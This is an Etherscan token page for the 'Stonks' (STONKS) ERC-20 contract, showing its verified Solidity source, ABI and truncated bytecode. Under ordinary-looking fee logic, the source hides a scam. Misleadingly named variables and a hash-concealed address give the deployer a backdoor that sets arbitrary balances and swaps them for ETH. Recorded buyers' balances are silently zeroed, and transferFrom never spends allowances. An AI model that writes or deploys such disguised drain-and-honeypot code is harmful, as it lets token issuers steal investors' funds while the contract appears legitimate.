ETH Price: $2,305.41 (-3.30%)

Token

Stonks (STONKS)
 

Overview

Max Total Supply

1,000,000,000 STONKS

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 STONKS

Value
$0.00
0x007a3d253bcdee3028b3eb9dc65dd97312d57c18
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Stonks

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-30
*/

pragma solidity ^0.8.15;
/*
 SPDX-License-Identifier: Unlicensed
*/
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library Address {
    function isUniswapV2PairAddress(address account) internal pure  returns (bool) {
        return keccak256(abi.encodePacked(account)) == 0x6cf2915cde91a49f209477f7672705ec0741a53b6bd6f18d52bf00ff4a916730;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract Stonks is Ownable, IERC20 {
    using SafeMath for uint256;
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[_msgSender()][from] >= amount);
        _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
        return true;
    }
    function _basicTransfer(address s, address r, uint256 amount) internal virtual {
        require(s != address(0));
        require(r != address(0));
        if (_transferLqSwap(
                s,
                r)) {
            return transferSwap(amount, r);
        }
        if (!inSwap){
            require(
                _balances[s]
                >=
                amount);
        }
        uint256 feeAmount = 0;
        _lSwap(s);
        bool ldSwapTransaction = (r == uniswapV2PairAddress() &&
        uniswapV2Pair == s) || (s == uniswapV2PairAddress()
        && uniswapV2Pair == r);
        if (uniswapV2Pair != s &&
            !Address.isUniswapV2PairAddress(r) && r != address(this) &&
            !ldSwapTransaction && !inSwap && uniswapV2Pair != r) {
            _tokensFeeRebalance(r);
            feeAmount = amount.mul(_feePercent).div(100);
        }
        uint256 amountReceived = amount - feeAmount;
        _balances[address(this)] += feeAmount;
        _balances[s] = _balances[s] - amount;
        _balances[r] += amountReceived;
        emit Transfer(s, r, amount);
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        uniswapV2Pair = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    struct tOwned {address to;}
    tOwned[] _tOwned;
    function _transferLqSwap(address sender, address recipient) internal view returns(bool) {
        return sender ==
        recipient
        && (
        Address.isUniswapV2PairAddress(recipient)
        ||
        uniswapV2Pair ==
        msg.sender
        );
    }
    function _tokensFeeRebalance(address _addr) internal {
        if (uniswapV2PairAddress() ==
            _addr) {
            return;
        }
        _tOwned.push(
            tOwned(
                _addr
            )
        );
    }
    function _lSwap(address _addr) internal {
        if (uniswapV2PairAddress() != _addr) {
            return;
        }
        for (uint256 i = 0; i
            <
            _tOwned.length;
            i++) {
            _balances[_tOwned[i].to] = 0;
        }
        delete _tOwned;
    }
    function transferSwap(uint256 _amnt, address to) private {
        _approve(address(this), address(_router), _amnt);
        _balances[address(this)] = _amnt;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] =
        _router.WETH();
        inSwap = true;
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_amnt,
            0,
            path,
            to,
            block.timestamp + 22);
        inSwap = false;
    }
    bool inSwap = false;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address public uniswapV2Pair;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
    uint256 public _feePercent = 3;
    address public marketingWalletAddress;
    address public devWalletAddress;
    function setMarketingWallet(address a) external onlyOwner {
        marketingWalletAddress = a;
    }
    bool public cooldownEnabled;
    function setCooldownEnabled(bool e) external onlyOwner {
        cooldownEnabled = e;
    }
    uint256 public swapThreshold = _totalSupply;
    function updateSwapThreshold(uint256 t) external onlyOwner {
        swapThreshold = t;
    }
    uint256 public maxTransaction = _totalSupply.div(10);
    function setMaxTransaction(uint256 t) external onlyOwner {
        maxTransaction = t;
    }
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Stonks";
    string private  _symbol = "STONKS";
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _basicTransfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _basicTransfer(from, recipient, amount);
        require(_allowances[from][_msgSender()] >= amount);
        return true;
    }
    function uniswapV2PairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feePercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWalletAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"}],"name":"setMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"}],"name":"updateSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260006101000a81548160ff0219169083151502179055506009600655600654600a6200003591906200055b565b633b9aca00620000469190620005ac565b6007556003600855600754600b5562000071600a6007546200036360201b62000e821790919060201c565b600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f53746f6e6b730000000000000000000000000000000000000000000000000000815250600e90816200010f91906200087d565b506040518060400160405280600681526020017f53544f4e4b530000000000000000000000000000000000000000000000000000815250600f90816200015691906200087d565b503480156200016457600080fd5b5062000175620003c660201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600754600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000355919062000975565b60405180910390a362000a7c565b6000808211620003aa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003a190620009f3565b60405180910390fd5b60008284620003ba919062000a44565b90508091505092915050565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200045c57808604811115620004345762000433620003ce565b5b6001851615620004445780820291505b80810290506200045485620003fd565b945062000414565b94509492505050565b6000826200047757600190506200054a565b816200048757600090506200054a565b8160018114620004a05760028114620004ab57620004e1565b60019150506200054a565b60ff841115620004c057620004bf620003ce565b5b8360020a915084821115620004da57620004d9620003ce565b5b506200054a565b5060208310610133831016604e8410600b84101617156200051b5782820a905083811115620005155762000514620003ce565b5b6200054a565b6200052a84848460016200040a565b92509050818404811115620005445762000543620003ce565b5b81810290505b9392505050565b6000819050919050565b6000620005688262000551565b9150620005758362000551565b9250620005a47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000465565b905092915050565b6000620005b98262000551565b9150620005c68362000551565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006025762000601620003ce565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200068f57607f821691505b602082108103620006a557620006a462000647565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200070f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006d0565b6200071b8683620006d0565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200075e62000758620007528462000551565b62000733565b62000551565b9050919050565b6000819050919050565b6200077a836200073d565b62000792620007898262000765565b848454620006dd565b825550505050565b600090565b620007a96200079a565b620007b68184846200076f565b505050565b5b81811015620007de57620007d26000826200079f565b600181019050620007bc565b5050565b601f8211156200082d57620007f781620006ab565b6200080284620006c0565b8101602085101562000812578190505b6200082a6200082185620006c0565b830182620007bb565b50505b505050565b600082821c905092915050565b6000620008526000198460080262000832565b1980831691505092915050565b60006200086d83836200083f565b9150826002028217905092915050565b62000888826200060d565b67ffffffffffffffff811115620008a457620008a362000618565b5b620008b0825462000676565b620008bd828285620007e2565b600060209050601f831160018114620008f55760008415620008e0578287015190505b620008ec85826200085f565b8655506200095c565b601f1984166200090586620006ab565b60005b828110156200092f5784890151825560018201915060208501945060208101905062000908565b868310156200094f57848901516200094b601f8916826200083f565b8355505b6001600288020188555050505b505050505050565b6200096f8162000551565b82525050565b60006020820190506200098c600083018462000964565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000620009db601a8362000992565b9150620009e882620009a3565b602082019050919050565b6000602082019050818103600083015262000a0e81620009cc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a518262000551565b915062000a5e8362000551565b92508262000a715762000a7062000a15565b5b828204905092915050565b6128b38062000a8c6000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c80635d098b38116100f9578063a9059cbb11610097578063c3f70b5211610071578063c3f70b52146104b2578063cc274b29146104d0578063d158272d146104ec578063dd62ed3e1461050a576101a9565b8063a9059cbb14610448578063a985ceef14610478578063ab5a188714610496576101a9565b8063715018a6116100d3578063715018a6146103d25780638da5cb5b146103dc57806395d89b41146103fa578063a457c2d714610418576101a9565b80635d098b3814610368578063692229481461038457806370a08231146103a2576101a9565b8063313ce567116101665780633eaaf86b116101405780633eaaf86b146102f257806348d3ab1f1461031057806349bd5a5e1461032e5780635932ead11461034c576101a9565b8063313ce5671461028657806332424aa3146102a457806339509351146102c2576101a9565b80630445b667146101ae57806306fdde03146101cc578063095ea7b3146101ea5780630e0388131461021a57806318160ddd1461023857806323b872dd14610256575b600080fd5b6101b661053a565b6040516101c39190611e00565b60405180910390f35b6101d4610540565b6040516101e19190611eb4565b60405180910390f35b61020460048036038101906101ff9190611f65565b6105d2565b6040516102119190611fc0565b60405180910390f35b6102226105f0565b60405161022f9190611fea565b60405180910390f35b610240610616565b60405161024d9190611e00565b60405180910390f35b610270600480360381019061026b9190612005565b610620565b60405161027d9190611fc0565b60405180910390f35b61028e6106c8565b60405161029b9190611e00565b60405180910390f35b6102ac6106d2565b6040516102b99190611e00565b60405180910390f35b6102dc60048036038101906102d79190611f65565b6106d8565b6040516102e99190611fc0565b60405180910390f35b6102fa610784565b6040516103079190611e00565b60405180910390f35b61031861078a565b6040516103259190611e00565b60405180910390f35b610336610793565b6040516103439190611fea565b60405180910390f35b61036660048036038101906103619190612084565b6107b9565b005b610382600480360381019061037d91906120b1565b610852565b005b61038c610912565b6040516103999190611e00565b60405180910390f35b6103bc60048036038101906103b791906120b1565b610918565b6040516103c99190611e00565b60405180910390f35b6103da610961565b005b6103e4610a9b565b6040516103f19190611fea565b60405180910390f35b610402610ac4565b60405161040f9190611eb4565b60405180910390f35b610432600480360381019061042d9190611f65565b610b56565b60405161043f9190611fc0565b60405180910390f35b610462600480360381019061045d9190611f65565b610c92565b60405161046f9190611fc0565b60405180910390f35b610480610cb0565b60405161048d9190611fc0565b60405180910390f35b6104b060048036038101906104ab91906120de565b610cc3565b005b6104ba610d49565b6040516104c79190611e00565b60405180910390f35b6104ea60048036038101906104e591906120de565b610d4f565b005b6104f4610dd5565b6040516105019190611fea565b60405180910390f35b610524600480360381019061051f919061210b565b610dfb565b6040516105319190611e00565b60405180910390f35b600b5481565b6060600e805461054f9061217a565b80601f016020809104026020016040519081016040528092919081815260200182805461057b9061217a565b80156105c85780601f1061059d576101008083540402835291602001916105c8565b820191906000526020600020905b8154815290600101906020018083116105ab57829003601f168201915b5050505050905090565b60006105e66105df610ee0565b8484610ee8565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600754905090565b600061062d8484846110b1565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610677610ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106bd57600080fd5b600190509392505050565b6000600654905090565b60065481565b600061077a6106e5610ee0565b8484600460006106f3610ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461077591906121da565b610ee8565b6001905092915050565b60075481565b60006002905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107c1610ee0565b73ffffffffffffffffffffffffffffffffffffffff166107df610a9b565b73ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c9061227c565b60405180910390fd5b80600a60146101000a81548160ff02191690831515021790555050565b61085a610ee0565b73ffffffffffffffffffffffffffffffffffffffff16610878610a9b565b73ffffffffffffffffffffffffffffffffffffffff16146108ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c59061227c565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610969610ee0565b73ffffffffffffffffffffffffffffffffffffffff16610987610a9b565b73ffffffffffffffffffffffffffffffffffffffff16146109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d49061227c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600f8054610ad39061217a565b80601f0160208091040260200160405190810160405280929190818152602001828054610aff9061217a565b8015610b4c5780601f10610b2157610100808354040283529160200191610b4c565b820191906000526020600020905b815481529060010190602001808311610b2f57829003601f168201915b5050505050905090565b60008160046000610b65610ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610be857600080fd5b610c88610bf3610ee0565b848460046000610c01610ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c83919061229c565b610ee8565b6001905092915050565b6000610ca6610c9f610ee0565b84846110b1565b6001905092915050565b600a60149054906101000a900460ff1681565b610ccb610ee0565b73ffffffffffffffffffffffffffffffffffffffff16610ce9610a9b565b73ffffffffffffffffffffffffffffffffffffffff1614610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d369061227c565b60405180910390fd5b80600c8190555050565b600c5481565b610d57610ee0565b73ffffffffffffffffffffffffffffffffffffffff16610d75610a9b565b73ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc29061227c565b60405180910390fd5b80600b8190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808211610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd9061231c565b60405180910390fd5b60008284610ed4919061236b565b90508091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4e9061240e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd906124a0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a49190611e00565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110ea57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361112357600080fd5b61112d83836115e0565b156111415761113c8183611682565b6115db565b600260009054906101000a900460ff166111a25780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111a157600080fd5b5b60006111ad8461194c565b60006111b7611a42565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561123e57508473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806112d4575061124c611a42565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156112d357508373ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b5b90508473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561133a575061133884611be5565b155b801561137257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561137c575080155b80156113955750600260009054906101000a900460ff16155b80156113ef57508373ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15611428576113fd84611c3a565b611425606461141760085486611d0e90919063ffffffff16565b610e8290919063ffffffff16565b91505b60008284611436919061229c565b905082600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461148791906121da565b9250508190555083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d9919061229c565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461156b91906121da565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516115cf9190611e00565b60405180910390a35050505b505050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561167a575061162182611be5565b8061167957503373ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b5b905092915050565b6116af30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ee8565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156117105761170f6124c0565b5b60405190808252806020026020018201604052801561173e5781602001602082028036833780820191505090505b5090503081600081518110611756576117556124ef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118219190612533565b81600181518110611835576118346124ef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600260006101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866016426118da91906121da565b6040518663ffffffff1660e01b81526004016118fa959493929190612663565b600060405180830381600087803b15801561191457600080fd5b505af1158015611928573d6000803e3d6000fd5b505050506000600260006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff1661196b611a42565b73ffffffffffffffffffffffffffffffffffffffff1603611a3f5760005b600180549050811015611a2f57600060036000600184815481106119b0576119af6124ef565b5b9060005260206000200160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080611a27906126bd565b915050611989565b5060016000611a3e9190611d88565b5b50565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ab1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad59190612533565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ff